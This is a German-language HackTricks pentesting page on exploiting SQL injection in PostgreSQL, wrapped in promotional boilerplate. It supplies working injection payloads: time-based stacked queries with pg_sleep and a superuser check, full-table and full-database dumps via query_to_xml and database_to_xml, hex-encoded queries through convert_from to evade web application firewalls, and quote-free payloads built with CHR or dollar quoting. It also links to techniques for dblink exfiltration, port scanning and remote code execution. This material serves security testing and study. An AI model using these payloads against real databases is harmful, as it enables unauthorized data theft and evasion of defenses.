.. | ||
big-binary-files-upload-postgresql.md | ||
dblink-lo_import-data-exfiltration.md | ||
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md | ||
pl-pgsql-password-bruteforce.md | ||
rce-with-postgresql-extensions.md | ||
rce-with-postgresql-languages.md | ||
README.md |
PostgreSQL Injection
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Wenn Sie an einer Hackerkarriere interessiert sind und das Unhackbare hacken möchten - wir stellen ein! (fließendes Polnisch in Wort und Schrift erforderlich).
{% embed url="https://www.stmcyber.com/careers" %}
Diese Seite soll verschiedene Tricks erklären, die Ihnen helfen könnten, eine SQL-Injection in einer PostgreSQL-Datenbank auszunutzen, und die die Tricks ergänzen, die Sie auf https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md finden können.
Netzwerkinteraktion - Privilege Escalation, Portscanner, Offenlegung der NTLM-Challenge-Antwort & Exfiltration
Das PostgreSQL-Modul dblink
bietet Möglichkeiten, um eine Verbindung zu anderen PostgreSQL-Instanzen herzustellen und TCP-Verbindungen auszuführen. Diese Funktionen, in Kombination mit der Funktionalität COPY FROM
, ermöglichen Aktionen wie Privilege Escalation, Portscanning und das Erfassen von NTLM-Challenge-Antworten. Für detaillierte Methoden zur Ausführung dieser Angriffe überprüfen Sie, wie Sie diese Angriffe ausführen können.
Exfiltrationsbeispiel unter Verwendung von dblink und großen Objekten
Sie können dieses Beispiel lesen, um ein CTF-Beispiel zu sehen, wie Daten in große Objekte geladen und dann der Inhalt der großen Objekte im Benutzernamen der Funktion dblink_connect
exfiltriert werden kann.
PostgreSQL-Angriffe: Lesen/Schreiben, RCE, Privilege Escalation
Überprüfen Sie, wie Sie den Host kompromittieren und Privilegien von PostgreSQL in:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
WAF-Bypass
PostgreSQL-Stringfunktionen
Das Manipulieren von Strings könnte Ihnen helfen, WAFs oder andere Einschränkungen zu umgehen.
Auf dieser Seite finden Sie einige nützliche Stringfunktionen.
Gestapelte Abfragen
Denken Sie daran, dass PostgreSQL gestapelte Abfragen unterstützt, aber mehrere Anwendungen einen Fehler anzeigen werden, wenn 2 Antworten zurückgegeben werden, wenn nur 1 erwartet wird. Sie können dennoch die gestapelten Abfragen über Time Injection missbrauchen:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML Tricks
query_to_xml
Diese Funktion gibt alle Daten in XML-Format in nur einer Datei zurück. Ideal, wenn Sie eine große Menge an Daten in nur einer Zeile dumpen möchten:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Diese Funktion wird die gesamte Datenbank im XML-Format in nur 1 Zeile ausgeben (Vorsicht, wenn die Datenbank sehr groß ist, da Sie sie möglicherweise überlasten oder sogar Ihren eigenen Client):
SELECT database_to_xml(true,true,'');
Zeichenfolgen in Hexadezimal
Wenn Sie Abfragen ausführen können, indem Sie sie innerhalb einer Zeichenfolge übergeben (zum Beispiel unter Verwendung der Funktion query_to_xml
). Sie können convert_from
verwenden, um die Zeichenfolge als Hexadezimal zu übergeben und auf diese Weise Filter zu umgehen:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
Verbotene Anführungszeichen
Wenn Sie Anführungszeichen nicht für Ihr Payload verwenden können, können Sie dies mit CHR
für grundlegende Klauseln umgehen (Zeichenverkettung funktioniert nur für grundlegende Abfragen wie SELECT, INSERT, DELETE usw. Es funktioniert nicht für alle SQL-Anweisungen):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Oder mit $
. Diese Abfragen liefern die gleichen Ergebnisse:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
Wenn Sie an einer Hackerkarriere interessiert sind und das Unhackbare hacken möchten - wir stellen ein! (fließendes Polnisch in Wort und Schrift erforderlich).
{% embed url="https://www.stmcyber.com/careers" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud github Repositories einreichen.